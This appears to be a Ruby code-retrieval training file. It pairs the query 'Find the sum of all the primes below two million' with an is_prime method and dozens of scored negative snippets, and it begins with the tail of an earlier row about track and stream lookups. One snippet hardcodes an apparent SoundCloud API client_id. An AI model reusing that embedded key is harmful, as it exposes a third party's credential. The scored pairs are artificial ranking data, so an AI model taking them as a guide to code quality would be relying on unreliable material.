"def show\n\ttrack = Track.find(params[:id])\n\n\tstream_url = track.stream_url ? track.stream_url : ''\n\tfilename = track.artist.name + ' - ' + track.title\n\n\tdownloader = SoundCloud::Downloader::Client.new(client_id: \"e713c46023d1b1d92c262e6ba915d4d0\")\n\turl = downloader.resolve(stream_url)\n\n\n\n\t# Makes the browser download the file\n\tsend_data open(url).read,\n\t\t:type => \"audio/mpeg\",\n\t\t:disposition => \"attachment; filename=\\\"#{filename}.mp3\\\"\"\n end",
"def getId()\n\t\t\treturn @_id\n\t\tend",
"def show\n @song = Song.find(params[:id])\n @yt_id = YoutubeSearch.search(\"#{@song.name} #{@song.artist.name}\").first['video_id']\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @song }\n end\n end",
"def id\n data[:id]\n end",
"def getId\n return @id\n end",
"def receive_id\n id = params[:id] # receive Id from\n @movie = Movie.find(id)\n end",
"def activity_stream_kms_key_id\n data[:activity_stream_kms_key_id]\n end",
"def activity_stream_kms_key_id\n data[:activity_stream_kms_key_id]\n end",
"def id\n record.id.to_s\n end",
"def get_stream(stream)\n @store[stream]\n end",
"def id\n @values.fetch('ai.session.id') { \n @values['ai.session.id'] = nil\n }\n end",
"def get_session_id\n check_lisitng_id\n calendar_frame = get_vrbo_calendar_page.iframes.first.src\n page = @agent.get calendar_frame\n link = page.links[3].href\n uri = Addressable::URI.parse(link)\n uri.query_values['sessionId']\n end",
"def source_id source\n source.is_a?(NewsApi::Source) ? source.id : source\n end",
"def get_id(channel_name)\n return get_value_of(channel_name, :id)\n end",
"def get_track(id)\n return @tracks.find {|s| s.track_id == id}\n end",
"def show\n @play = Play.find(params[:id])\n\n respond_to do |format|\n format.html { redirect_to playlist_url(@play.playlist)}\n format.xml { render :xml => @play.to_xml }\n end\n end",
"def id\n @values[:id]\n end",
"def id\n @values[:id]\n end",
"def show\n @id = params[:id]\n end",
"def show\n @id = params[:id]\n end",
"def get\n params.required(:id)\n\n # Grab the device that is trying to authenticate\n unathenticated_error unless @api_consumer.is_a? Service\n service = @api_consumer\n\n @session = service.sessions.find(params[:id])\n end",
"def id\n get_val(:id)\n end",
"def parse_id(e)\n return e.css('a')[0].attribute('data-play').content.split(':')[1].to_i\n end",
"def id\n @values[:id]\n end",
"def get_asset_playback_id_with_http_info(asset_id, playback_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AssetsApi.get_asset_playback_id ...'\n end\n # verify the required parameter 'asset_id' is set\n if @api_client.config.client_side_validation && asset_id.nil?\n fail ArgumentError, \"Missing the required parameter 'asset_id' when calling AssetsApi.get_asset_playback_id\"\n end\n # verify the required parameter 'playback_id' is set\n if @api_client.config.client_side_validation && playback_id.nil?\n fail ArgumentError, \"Missing the required parameter 'playback_id' when calling AssetsApi.get_asset_playback_id\"\n end\n # resource path\n local_var_path = '/video/v1/assets/{ASSET_ID}/playback-ids/{PLAYBACK_ID}'.sub('{' + 'ASSET_ID' + '}', CGI.escape(asset_id.to_s)).sub('{' + 'PLAYBACK_ID' + '}', CGI.escape(playback_id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'GetAssetPlaybackIDResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['accessToken']\n\n new_options = opts.merge(\n :operation => :\"AssetsApi.get_asset_playback_id\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AssetsApi#get_asset_playback_id\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def id\n raise MissingID if not defined?(@id)\n @id.to_i\n end",
"def current_song\n Song.find(params[:id])\n end",
"def set_stream\n @stream = Stream.friendly.find(params[:id])\n end",
"def show\n @playlist_line = PlaylistLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @playlist_line }\n end\n end"
] |
[
"0.66795456",
"0.5875707",
"0.5712913",
"0.5712913",
"0.5712913",
"0.5712913",
"0.5669359",
"0.5633405",
"0.5595869",
"0.5563904",
"0.55617744",
"0.5538359",
"0.5519828",
"0.5501563",
"0.54936427",
"0.54648983",
"0.545135",
"0.54403424",
"0.5419738",
"0.5369856",
"0.53626734",
"0.5354071",
"0.53390694",
"0.5338332",
"0.5335199",
"0.5304949",
"0.53004426",
"0.5299054",
"0.5296256",
"0.5281465",
"0.5280982",
"0.5280054",
"0.5269677",
"0.5269677",
"0.5239895",
"0.5236727",
"0.5229306",
"0.52287483",
"0.52287483",
"0.52287483",
"0.52287483",
"0.52253395",
"0.5220293",
"0.5217599",
"0.52066916",
"0.52053547",
"0.5191335",
"0.5179912",
"0.51792985",
"0.5176429",
"0.5168776",
"0.51613045",
"0.51567763",
"0.5147018",
"0.5146986",
"0.51465696",
"0.51367927",
"0.5136468",
"0.5130459",
"0.5119839",
"0.5108823",
"0.510563",
"0.51055896",
"0.51021385",
"0.5100188",
"0.50903463",
"0.5087582",
"0.50870836",
"0.50842977",
"0.50819427",
"0.5081038",
"0.5080498",
"0.5079426",
"0.50791526",
"0.50731045",
"0.50709414",
"0.5070671",
"0.506637",
"0.506637",
"0.5052878",
"0.50428957",
"0.5035483",
"0.50313693",
"0.50301224",
"0.5026179",
"0.5022816",
"0.5019258",
"0.50171363",
"0.50171363",
"0.5016755",
"0.5016755",
"0.50163555",
"0.50142807",
"0.5009061",
"0.50083166",
"0.5004915",
"0.5003415",
"0.49989468",
"0.49948037",
"0.4991915"
] |
0.5666642
|
7
|
Find the sum of all the primes below two million.
|
def is_prime k
2.upto(Math.sqrt(k).to_i) do |x|
return false if k % x == 0 or (k - 1) <= 1
end
true
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def ten\n acc = 0\n (find_primes_below 2000000).each do |i|\n acc = acc + i\n end\n return acc \nend",
"def run\n puts sum_of_primes_below(10)\n #=> 17\n\n puts sum_of_primes_below(2_000_000)\n #=> ??\nend",
"def consecutive_prime_below_one_million\n @max_limit = 1000_000\n generate_prime_numbers()\n # number_of_primes = 0\n result = 0\n\n count_prime_sum = @prime_numbers_sum.length\n number_of_primes = 1\n # i_index = 0\n count_prime_sum.times do |i_index|\n for j in (count_prime_sum - 1).downto(i_index + number_of_primes ) do\n difference = @prime_numbers_sum[j] - @prime_numbers_sum[i_index]\n if (j - i_index > number_of_primes) && difference < @max_limit && ( @prime_numbers.include? difference) #\n number_of_primes, result = j - i_index, difference\n break\n end\n end ## end of j\n end ## end of i\n\n puts '=============================================================================================='\n puts 'Q2: Which prime, below one million, can be written as the sum of the most consecutive primes?'\n puts \"Sol: Result For Finding consecutive prime below #{@max_limit} : #{result}, and \\n Number of primes in those are #{number_of_primes}\"\n puts '=============================================================================================='\n\n end",
"def p10\n\tprimes = []\n\tPrime.each do |prime|\n\t\tbreak if prime >= 2000000\n\t\tprimes << prime\n\tend\n\t# puts primes\n\tprimes.reduce(:+)\nend",
"def problem10()\n\tsum = 0; Prime.each(2000000) {|i| sum += i}; return sum\nend",
"def get_consecutive_prime_below_one_million(primes)\n sumation = 0;\n prime_number_list = []\n number_of_primes = 0 \n primes.each_with_index do | prime_number , i |\n # puts \"#{prime_number} - #{i}\"\n @sum = @sum + prime_number\n @primeSum[i+1] = @sum if @sum < @limit;\n end\n # puts \"#{@primeSum}\"\n\n count_of_primeSum = @primeSum.length\n number_of_primes = 1 \n count_of_primeSum.times do |i|\n for j in (count_of_primeSum - 1).downto(i + number_of_primes ) do\n difference = @primeSum[j] - @primeSum[i]\n\n if (j-i > number_of_primes) && (difference < limit) && ( primes.include? difference)\n # puts \"#{i}--#{j}\"\n \n prime_number_list = primes[i...j]\n number_of_primes = j-i\n sumation = difference \n end\n end\n end\n @result[:sumation] = sumation \n @result[:number_of_terms] = number_of_primes \n @result[:prime_number_list] = prime_number_list \n\n @result\n end",
"def test2(limit)\n\ttotal = 0\n\t2.upto(limit) do |x|\n\t\tif isPrime(x) then total += x end\n\tend\n\ttotal \nend",
"def sum_of_primes_below(n)\n sum = 0\n require 'prime'\n Prime.each(n) do |prime|\n sum += prime\n end\n\n sum\nend",
"def getSumPrime()\n def isPrime(n)\n return false if n <= 1\n 2.upto(Math.sqrt(n).to_i) do |x|\n return false if n%x == 0\n end\n true\n end\n\n sum=0\n (2..2000000).each { |x| sum=sum+x if isPrime(x) }\n puts sum\nend",
"def primes_sum\n primeArr = []\n num = 2\n while num < 2000000\n if is_prime num\n primeArr << num\n end\n num += 1\n end\n primeArr.reduce(:+)\nend",
"def sum_primes(num)\n nums = Hash.new{true}\n\n (2...num**(0.5)).each do |x|\n if nums[x]\n i = x\n while x*i < num\n nums[x*i] = false\n i += 1\n end\n end\n end\n \n sum = 0\n (2...num).each { |x| sum += x if nums[x] }\n sum\nend",
"def sum_of_primes(upper_bound)\n Prime.each(upper_bound).reduce(:+)\nend",
"def summation_of_primes_2(max)\n sieve = Array.new(max, true)\n sieve[0] = sieve[1] = false # 0 and 1 aren't primes\n sum = 0\n\n p = 2\n while p < sieve.size\n # Mark all composites off\n k = 1\n while k * p < max\n sieve[k * p] = false\n k += 1\n end\n\n sum += p\n\n # Find next prime\n while !sieve[p] and p < sieve.size\n p += 1\n end\n end\n\n sum\nend",
"def summation_of_primes(limit)\n primes = [2]\n accum = 3\n\n while primes[primes.length - 1] < limit\n\n if primes.all?{|ele| accum % ele != 0}\n primes << accum\n end\n accum += 2\n\n end\n primes.pop\n # p primes\n sum = primes.reduce(:+)\n sum\nend",
"def sum_primes max_number\n sum = 2\n (3..max_number).each do |test_num|\n next if test_num.even?\n prime = true\n # sqrttest = test_num**0.5\n (2..Math.sqrt(test_num)).each do |factor|\n prime = false if (test_num % factor == 0)\n break unless prime\n end\n sum += test_num if prime\n #puts test_num if prime\n end\n return sum\nend",
"def prime_sum(limit)\n Prime.each(limit).inject :+\n end",
"def find_primes_under(num)\n\tprimes = [2]\n\tcounter = 3\n\twhile primes[-1] < num\n\t\tcounter2 = 2\n\t\twhile counter2 <= counter\n\t\t\tif counter % counter2 == 0\n\t\t\t\tbreak\n\t\t\telsif\n\t\t\t\tcounter2 * counter2 > counter\n\t\t\t\tprimes << counter\n\t\t\t\tbreak\n\t\t\tend\n\t\t\tcounter2 += 1\n\t\tend\n\tcounter += 1\n\tend\n\tprimes[0..-2]\nend",
"def sumPrimes\n i = 1999999\n sum = 2\n \n # note that this code will never count 2 as prime simply because it never tests 2. \n # For eficiency, it skips all evens, inadvertently skips 2. \n # make a better fix later. for now, initialize sum to 2. \n # was written in reverse order to check if 2 was counted as prime\n while i > 0\n if isPrime(i)\n puts i \n sum += i\n end\n i -= 2\n end\n \n return sum\n \nend",
"def sum_of_all_primes(limit)\n list_of_all_numbers = (2..limit).to_a #create a list of numbers from 2 to limit\n primes = get_primes(list_of_all_numbers)\n\n puts \"Primes #{primes}\"\n puts \"Sum of all primes #{primes.sum}\"\nend",
"def add_primes_upto(max)\n primes = [2, 3]\n primes_index = 1\n sum = 2 + 3\n\n 5.step(max, 2).each do|current_number|\n val_is_prime = true\n primes.each do|prime|\n if prime > Math.sqrt(current_number).to_i\n break\n elsif current_number % prime == 0 then\n val_is_prime = false\n break\n end\n end\n if val_is_prime && current_number < max then\n primes_index = primes_index + 1\n primes[primes_index] = current_number\n sum = sum + current_number\n end\n end\n return sum\nend",
"def sum_primes_below(target)\n prime_sum = 0\n (2..target).each do |i|\n if is_prime?(i)\n prime_sum += i\n end\n end\n\n prime_sum\nend",
"def primes_upto( xmax )\n # primes have no factors except for 1 and self\n primes = [ 2 ]\n ( 3..xmax ).each do |i|\n puts i if 0 == ( i % 1000 )\n is_prime = true\n primes.each do |p|\n break if p > ( i / 2 )\n if 0 == ( i % p )\n is_prime = false\n break\n end\n end # p\n primes << i if is_prime\n end # i\n return primes\nend",
"def sum_of_primes(limit)\n answer = 0\n\n Prime.each(limit) do |i|\n answer += i\n end\n puts answer\nend",
"def sum_primes(upper_bound)\r\n Prime.each(upper_bound).inject(:+)\r\nend",
"def euler010\n target = 2e6\n sum = 0\n\n each_prime do |p,i|\n break if p >= target\n sum += p\n end\n\n sum\nend",
"def prime_numbers(limit = 1_000_000)\n all_numbers = Hash[(2..limit).map { |v| [v, 0] }]\n\n border = Math.sqrt(limit).to_i\n\n next_prime = 1\n while next_prime < border\n next_prime = all_numbers.find { |_, v| v.zero? }[0]\n\n all_numbers[next_prime] = -1\n\n all_numbers.each do |key, value|\n all_numbers.delete key if value.zero? && (key % next_prime).zero?\n end\n end\n all_numbers.keys\nend",
"def getPrimes()\n oldlimit = $primelimit + 1\n $primelimit *= 2\n\n for i in oldlimit...$primelimit\n isPrime = true\n $primes.each do |p|\n if i % p == 0\n isPrime = false\n break\n end\n end\n if isPrime\n $primes << i\n end\n end\n\nend",
"def consecutive_prime_sum\n sum = 0\n cumulative_sum = Prime.take_while { |n| n < 50000 } .map { |n| sum += n }\n \n max = 953\n max_terms = i = 21\n while i < cumulative_sum.length\n j = i - max_terms - 1\n diff = 0\n while j >= 0 && diff < 1_000_000\n diff = cumulative_sum[i] - cumulative_sum[j]\n if Prime.prime?(diff)\n max = diff\n max_terms = i - j\n end\n j-=1\n end\n i+=1\n end\n max\nend",
"def sum_of_primes(n)\n Prime.first(n).inject(0, :+)\nend",
"def p7\n\tprimes = [2]\n\t(1...10001).each do\n\t\tprime = next_prime(primes[-1])\n\t\tprimes << prime\n\tend\n\tprimes[-1]\nend",
"def solution_1\n starting_time = Time.now\n\n total = 0\n\n all_primes(MAX_NUM).each { |prime| total += prime }\n\n p \"Sum of first #{MAX_NUM} primes: #{total}\"\n p \"In #{Time.now - starting_time} seconds\"\nend",
"def problem_77a\n primes = Primes.upto(100)\n\n # off is the offset in the prime array, we can work down :-)\n solve = lambda do |a,off,max|\n n = 0\n while a[off] < max && (a.length-off) >= 2 \n a[off] += a.pop\n n += 1 if (a & primes).length == a.uniq.length\n n += solve.call(a.dup,off+1,a[off]) if a.length - off > 1\n end\n n\n end\n m = 0\n (2..100).each do |num|\n break if (m = solve.call([1] * num,0,num-1)) > 5000\n puts \"#{num} => #{m}\"\n end\n m\nend",
"def sum_of_primes(n)\n prime_array = []\n (2..n).each do |i|\n next unless prime_number?(i)\n prime_array << i\n end\n prime_array.inject(:+)\nend",
"def compute_primes\n nums = (@max_checked..@max_checked * 2).map { |x| x.odd? ? x : nil }.to_a\n 1.upto(@primes.index { |p| p * p > @max_checked * 2 }) do |i|\n start_idx = -@max_checked % @primes[i] # prime[i]'s 1st multiple's index\n\n (start_idx..nums.size).step(@primes[i]) { |x| nums[x] = nil }\n end\n @max_checked *= 2\n @primes += nums.compact\n end",
"def primes_upto(limit)\n numbers = (2..limit).to_a\n numbers.each do |prime|\n if prime\n nonprime = prime + prime\n while nonprime <= limit\n numbers[nonprime - 2] = nil\n nonprime += prime\n end\n end\n end\n numbers.compact\nend",
"def sum_of_all_primes(n)\n sum = 0\n (1..n).each do |x|\n if prime? x\n sum += x\n end \n end \n sum\n end",
"def total_consecutive_primes(number)\n\treturn -1 if !is_prime(number)\n\tleft = 0\n\tright = 0\n\tsum = $primes[0]\n\twhile true\n\t\tbreak if right == $primes.size - 1 and sum < number\n\t\tif sum < number\n\t\t\tright+=1\n\t\t\tsum += $primes[right]\n\t\tend\n\t\tif sum > number\n\t\t\tsum -= $primes[left]\n\t\t\tleft += 1\n\t\tend\n\t\tbreak if right == $primes.size and sum < number\n\t\tbreak if sum == number\n\tend\n\treturn right - left + 1 if sum == number\n\treturn -1\nend",
"def solution_3(num)\n starting_time = Time.now\n\n # actual sieve of eratosthenes\n potential_primes = (2..num).to_a\n potential_primes.each_with_index do |val, index|\n if val\n index += val\n while index < num\n potential_primes[index] = nil\n index += val\n end\n else\n next\n end\n end\n\n primes = potential_primes.compact\n\n p \"Sum of first #{num} primes: #{primes.reduce(:+)}\"\n\n p \"In #{Time.now - starting_time} seconds\"\nend",
"def summation_of_primes(n)\n sum, flags = 2, []\n\n 0.upto(n / 2) { flags.push(false, true) }\n\n i = 3\n until i * i > n\n (i * i).step(n, i) { |k| flags[k] = false } if flags[i] == true\n i += 1\n end\n\n 3.upto(n) { |j| sum += j if flags[j] == true }\n\n sum\nend",
"def problem_ten\n Prime.instance.each(2_000_000).reduce(&:+)\n end",
"def eratosthenes_sieve(max_number)\n numbers = (0..max_number+1).to_a\n bound = Math.sqrt(max_number).to_i\n\n (2..bound+1).each do |current|\n if numbers[current]\n (current+current..max_number+1).step(current).each do |j| numbers[j] = nil end\n end\n end\n\n return numbers.compact![2..-1]\nend",
"def prime_numbers\n # start with the first prime number\n primes = [2]\n # find the rest of the prime numbers\n (2..1000).each do |i|\n add_next_prime_number(primes)\n end\n return primes\nend",
"def prime2(nprime)\n\n primes = [2]\n factors = {}\n\n num = 3\n while primes.size < nprime do\n\n root = Math.sqrt(num).floor\n isprime = true\n\n primes.each{ |prime|\n break if prime > root\n if num % prime == 0\n isprime = false\n break\n end\n }\n\n primes << num if isprime\n num += 1\n\n printf(\"\\r%d\", primes.size) if primes.size % 1000.0 == 0\n\n end\n\n return primes\n\nend",
"def primes_under(n)\n candidates = (3..n).step(2).to_a\n primes = [2]\n\n until primes.last > n ** 0.5\n primes << candidates.shift\n candidates.reject! {|candidate| candidate % primes[-1] == 0}\n end\n\n primes + candidates\nend",
"def sum_prime(num)\n sum_prime = 0\n prime_list = sieves_primes(num)\n prime_list.each do |p|\n sum_prime += p\n end\n puts \"The sum of prime numbers below #{num} is #{sum_prime}\"\nend",
"def sum_n_primes(n)\n return 0 if n == 0\n sum = 0\n primes = []\n i = 2\n until primes.length == n\n #\n if prime?(i)\n sum += i\n primes << i #corrected primes counting. was adding i each time before\n end\n i += 1\n end\n sum\nend",
"def get_primes limit\n\tnums = (1...limit).select { |n| n.prime? }\n\n\tp nums\nend",
"def find_more_primes\n candidates_max = @known_primes.last * 2\n candidates = ((@max_checked + 1)..candidates_max).step(2).to_a\n sieving_primes = primes_to_sieve(candidates_max)\n\n offsets = Array.new(sieving_primes.size) do |i|\n (-(candidates.first + sieving_primes[i]) / 2) % sieving_primes[i]\n end\n\n sieving_primes.zip(offsets).each do |prime, offset|\n while offset < candidates.size do\n candidates[offset] = nil\n offset += prime\n end\n end\n\n @known_primes += candidates.compact\n @max_checked = candidates_max\n end",
"def find_primes(input)\n\t\n\tprimes = Array.new\n\t\n\tlimit = Math.sqrt(input)\n\t\n\tnumber_to_test = 2\n\t\n\tif number_to_test > limit\n\t\treturn Array[input]\n\tend\n\t\n\twhile input % number_to_test != 0 && number_to_test < limit\n\t\tnumber_to_test += 1\n\tend\n\t\n\tif input % number_to_test == 0\n\t\treturn find_primes(number_to_test) + find_primes(input/number_to_test)\n\tend\n\n\treturn Array[input]\n\t\t\nend",
"def find_primes(input)\n\t\n\tprimes = Array.new\n\t\n\tlimit = Math.sqrt(input)\n\t\n\tnumber_to_test = 2\n\t\n\tif number_to_test > limit\n\t\treturn Array[input]\n\tend\n\t\n\twhile input % number_to_test != 0 && number_to_test < limit\n\t\tnumber_to_test += 1\n\tend\n\t\n\tif input % number_to_test == 0\n\t\treturn find_primes(number_to_test) + find_primes(input/number_to_test)\n\tend\n\n\treturn Array[input]\n\t\t\nend",
"def calculate(number)\n sieve_limit = upper_limit_for(number)\n primes = sieve_upto sieve_limit\n primes[0..number-1]\n end",
"def eratosthenes_sieve(nth_prime)\n top = nth_prime * 10\n # this is really kludgy, you might have to increase 10 if you want\n # nth primes above 10k. It seems to work fine for all numbers under\n # 10k. I need to read up on prime number theory to find out when this fails.\n sieve = []\n (2..top).each { |i| sieve[i] = i }\n for i in 2 .. Math.sqrt(top)\n next unless sieve[i]\n (i*i).step(top, i) do |j|\n sieve[j] = nil\n end\n end\n sieve.compact[nth_prime]\nend",
"def getMaxPrime(numb)\n def isPrime(n)\n return false if n <= 1\n 2.upto(Math.sqrt(n).to_i) do |x|\n return false if n%x == 0\n end\n true\n end\n\n primes = []\n (2..10000).each { |x| primes << x if isPrime(x) }\n \n max = 0\n primes.each do |i|\n if numb % i == 0\n max = i\n end\n end\n puts max\nend",
"def upper_limit_for(desired_prime_number)\n i = 2\n while (i / Math.log(i)) < desired_prime_number do\n i = i + 1\n end\n return i\n end",
"def count_primes_fast(n)\n is_prime = [false, false]\n (2...n).each do |x|\n is_prime[x] = true;\n end\n\n tail = Math.sqrt(n).ceil\n for i in 2..tail\n next if !is_prime[i]\n (i*i...n).step(i) do |j|\n is_prime[j] = false\n end\n end\n\n count = 0\n for k in 0...n\n count += 1 if is_prime[k]\n end\n count\nend",
"def sum_prime(n)\n\ti = 0\n\tp = 1\n\tsum = 0\n#\tprimes = []\n\n\tuntil p == n\n\t\tp += 1\n\t\tif is_prime?(p)\n#\t\t\tprimes << p\n\t\t\tsum += p\n\t\t\ti += 1\n\t\tend\n\tend\n\n\treturn sum\n\t#return primes.reduce(:+)\nend",
"def sum_n_primes(n)\n primes = []\n i = 2\n while primes.size < n\n primes << i if prime?(i)\n i += 1\n end\n primes.sum\nend",
"def count_primes(n)\n primes = (0..n).to_a\n primes[0] = nil\n primes[1] = nil\n\n primes.each do |current_num|\n next if current_num == nil\n break if current_num > Math.sqrt(n)\n (current_num**2).step(n, current_num) { |interval| primes[interval] = nil }\n end\n\n primes.compact.take_while { |num| num < n }.size\nend",
"def find_primes(int1, int2)\n nums = (int1..int2).to_a\n nums.select { |num| is_prime?(num) }\nend",
"def aboveOneMillionCount(num)\n idx = (1..num/2).to_a.index &->(r){combinator(num,r) > 10**6}\n return 0 unless idx\n lower = (idx + 1)\n upper = num - lower # has same combinator with lower\n upper - lower + 1 # \nend",
"def summation(max)\n\tsum = 0\n\tcounter = 2\n\twhile counter < max\n\t\tp \"counter is #{counter}\"\n\t\tif isprime?(counter)\n\t\t\tsum += counter\n\t\tend\n\t\tcounter += 1\n\tend\n\treturn sum\nend",
"def sup_limit(max)\n (1..Float::INFINITY).lazy.map{|i| [i,Prime.take(i).reduce(:+)]}.detect{|i,sum| sum >= max}.first\nend",
"def sieve(limit)\n bound = Math.sqrt(limit).ceil\n sieve = (0..limit+1).collect{ true }\n p = 2\n while !p.nil? && p <= bound\n q = p*p\n while q <= limit\n sieve[q] = false\n q = q + p\n end\n p =(p+1 .. limit).find{ |n| sieve[n] }\n end\n (2..limit).select{ |n| sieve[n]}\nend",
"def problem_77\n primes = Primes.upto(120)\n\n # num is the value we want and\n # off is the index in primes to use next\n hits = 0\n solve = lambda do |num, off|\n return 1 if num == 0\n return 0 if num == 1\n ret = 0\n p = primes[off]\n ret += 1 if num % p == 0 # Add if a multiple\n ret += solve.call(num,off-1) if off > 0 \n n = num / p\n if n > 0 # Do each multiple\n 1.upto(n) do |i|\n left = num - i*p\n ret += solve.call(left,off-1) if off > 0 && left > 1\n end\n end\n ret\n end\n\n #(2..100).each do |num|\n num = 0\n (2..100).each do |num|\n off = primes.index {|i| i > num } - 1\n hits = solve.call(num,off)\n puts \"#{num} => #{hits}\"\n return num if hits >= 5000\n end\nend",
"def primes_from_2( x )\n # primes have no factors except for 1 and self\n primes = [ 2 ]\n i = 2\n while primes.size < x\n i += 1\n is_prime = true\n primes.each do |p|\n #( 2..( i ** 0.5 ).floor ).each do |p|\n #break if p > ( i / 2 )\n break if p > ( i ** 0.5 )\n if 0 == ( i % p )\n is_prime = false\n break\n end\n end # p\n primes << i if is_prime\n i += 1 # skip the next integer (it's even)\n end # while\n return primes[ -1 ]\nend",
"def sum_multiples(n1,n2,limit)\n sum = 0\n for i in 1...limit\n sum+= i if(i%n1 == 0 or i%n2 == 0)\n end \n sum\nend",
"def approx_primes_in_range( n )\n\n end",
"def find_primes\n canidates = (0..@max_num).to_a\n k=2\n while(k<= canidates.size/2)\n j=2\n while(j<= canidates.size/2)\n prod = k*j\n if prod <= @max_num\n canidates[prod] = nil\n end\n j+=1\n end\n k+=1\n end\n res = canidates.compact\n res.shift(2)\n res\n end",
"def primes_up_to(n)\n raise \"Need an integer >= 2 to find primes\" unless n.is_a?(Integer) && n >= 2\n primes = (0..n).to_a\n primes[0..1] = [nil, nil]\n p = 2\n while true do\n (p .. n/p).each do |i|\n primes[i*p] = nil\n end\n break unless p = primes.index { |x| !x.nil? && x > p }\n end\n primes.compact!\n end",
"def primes1000\n\treturn [2, 3, 5, 7, 11, 13, 17, 19, 23, 29,\n\t31, 37, 41, 43, 47, 53, 59, 61, 67, 71,\n\t73, 79, 83, 89, 97, 101, 103, 107, 109, 113,\n\t127, 131, 137, 139, 149, 151, 157, 163, 167, 173,\n\t179, 181, 191, 193, 197, 199, 211, 223, 227, 229,\n\t233, 239, 241, 251, 257, 263, 269, 271, 277, 281,\n\t283, 293, 307, 311, 313, 317, 331, 337, 347, 349,\n\t353, 359, 367, 373, 379, 383, 389, 397, 401, 409,\n\t419, 421, 431, 433, 439, 443, 449, 457, 461, 463,\n\t467, 479, 487, 491, 499, 503, 509, 521, 523, 541,\n\t547, 557, 563, 569, 571, 577, 587, 593, 599, 601,\n\t607, 613, 617, 619, 631, 641, 643, 647, 653, 659,\n\t661, 673, 677, 683, 691, 701, 709, 719, 727, 733,\n\t739, 743, 751, 757, 761, 769, 773, 787, 797, 809,\n\t811, 821, 823, 827, 829, 839, 853, 857, 859, 863,\n\t877, 881, 883, 887, 907, 911, 919, 929, 937, 941,\n\t947, 953, 967, 971, 977, 983, 991, 997, 1009, 1013,\n\t1019, 1021, 1031, 1033, 1039, 1049, 1051, 1061, 1063, 1069,\n\t1087, 1091, 1093, 1097, 1103, 1109, 1117, 1123, 1129, 1151,\n\t1153, 1163, 1171, 1181, 1187, 1193, 1201, 1213, 1217, 1223,\n\t1229, 1231, 1237, 1249, 1259, 1277, 1279, 1283, 1289, 1291,\n\t1297, 1301, 1303, 1307, 1319, 1321, 1327, 1361, 1367, 1373,\n\t1381, 1399, 1409, 1423, 1427, 1429, 1433, 1439, 1447, 1451,\n\t1453, 1459, 1471, 1481, 1483, 1487, 1489, 1493, 1499, 1511,\n\t1523, 1531, 1543, 1549, 1553, 1559, 1567, 1571, 1579, 1583,\n\t1597, 1601, 1607, 1609, 1613, 1619, 1621, 1627, 1637, 1657,\n\t1663, 1667, 1669, 1693, 1697, 1699, 1709, 1721, 1723, 1733,\n\t1741, 1747, 1753, 1759, 1777, 1783, 1787, 1789, 1801, 1811,\n\t1823, 1831, 1847, 1861, 1867, 1871, 1873, 1877, 1879, 1889,\n\t1901, 1907, 1913, 1931, 1933, 1949, 1951, 1973, 1979, 1987,\n\t1993, 1997, 1999, 2003, 2011, 2017, 2027, 2029, 2039, 2053,\n\t2063, 2069, 2081, 2083, 2087, 2089, 2099, 2111, 2113, 2129,\n\t2131, 2137, 2141, 2143, 2153, 2161, 2179, 2203, 2207, 2213,\n\t2221, 2237, 2239, 2243, 2251, 2267, 2269, 2273, 2281, 2287,\n\t2293, 2297, 2309, 2311, 2333, 2339, 2341, 2347, 2351, 2357,\n\t2371, 2377, 2381, 2383, 2389, 2393, 2399, 2411, 2417, 2423,\n\t2437, 2441, 2447, 2459, 2467, 2473, 2477, 2503, 2521, 2531,\n\t2539, 2543, 2549, 2551, 2557, 2579, 2591, 2593, 2609, 2617,\n\t2621, 2633, 2647, 2657, 2659, 2663, 2671, 2677, 2683, 2687,\n\t2689, 2693, 2699, 2707, 2711, 2713, 2719, 2729, 2731, 2741,\n\t2749, 2753, 2767, 2777, 2789, 2791, 2797, 2801, 2803, 2819,\n\t2833, 2837, 2843, 2851, 2857, 2861, 2879, 2887, 2897, 2903,\n\t2909, 2917, 2927, 2939, 2953, 2957, 2963, 2969, 2971, 2999,\n\t3001, 3011, 3019, 3023, 3037, 3041, 3049, 3061, 3067, 3079,\n\t3083, 3089, 3109, 3119, 3121, 3137, 3163, 3167, 3169, 3181,\n\t3187, 3191, 3203, 3209, 3217, 3221, 3229, 3251, 3253, 3257,\n\t3259, 3271, 3299, 3301, 3307, 3313, 3319, 3323, 3329, 3331,\n\t3343, 3347, 3359, 3361, 3371, 3373, 3389, 3391, 3407, 3413,\n\t3433, 3449, 3457, 3461, 3463, 3467, 3469, 3491, 3499, 3511,\n\t3517, 3527, 3529, 3533, 3539, 3541, 3547, 3557, 3559, 3571,\n\t3581, 3583, 3593, 3607, 3613, 3617, 3623, 3631, 3637, 3643,\n\t3659, 3671, 3673, 3677, 3691, 3697, 3701, 3709, 3719, 3727,\n\t3733, 3739, 3761, 3767, 3769, 3779, 3793, 3797, 3803, 3821,\n\t3823, 3833, 3847, 3851, 3853, 3863, 3877, 3881, 3889, 3907,\n\t3911, 3917, 3919, 3923, 3929, 3931, 3943, 3947, 3967, 3989,\n\t4001, 4003, 4007, 4013, 4019, 4021, 4027, 4049, 4051, 4057,\n\t4073, 4079, 4091, 4093, 4099, 4111, 4127, 4129, 4133, 4139,\n\t4153, 4157, 4159, 4177, 4201, 4211, 4217, 4219, 4229, 4231,\n\t4241, 4243, 4253, 4259, 4261, 4271, 4273, 4283, 4289, 4297,\n\t4327, 4337, 4339, 4349, 4357, 4363, 4373, 4391, 4397, 4409,\n\t4421, 4423, 4441, 4447, 4451, 4457, 4463, 4481, 4483, 4493,\n\t4507, 4513, 4517, 4519, 4523, 4547, 4549, 4561, 4567, 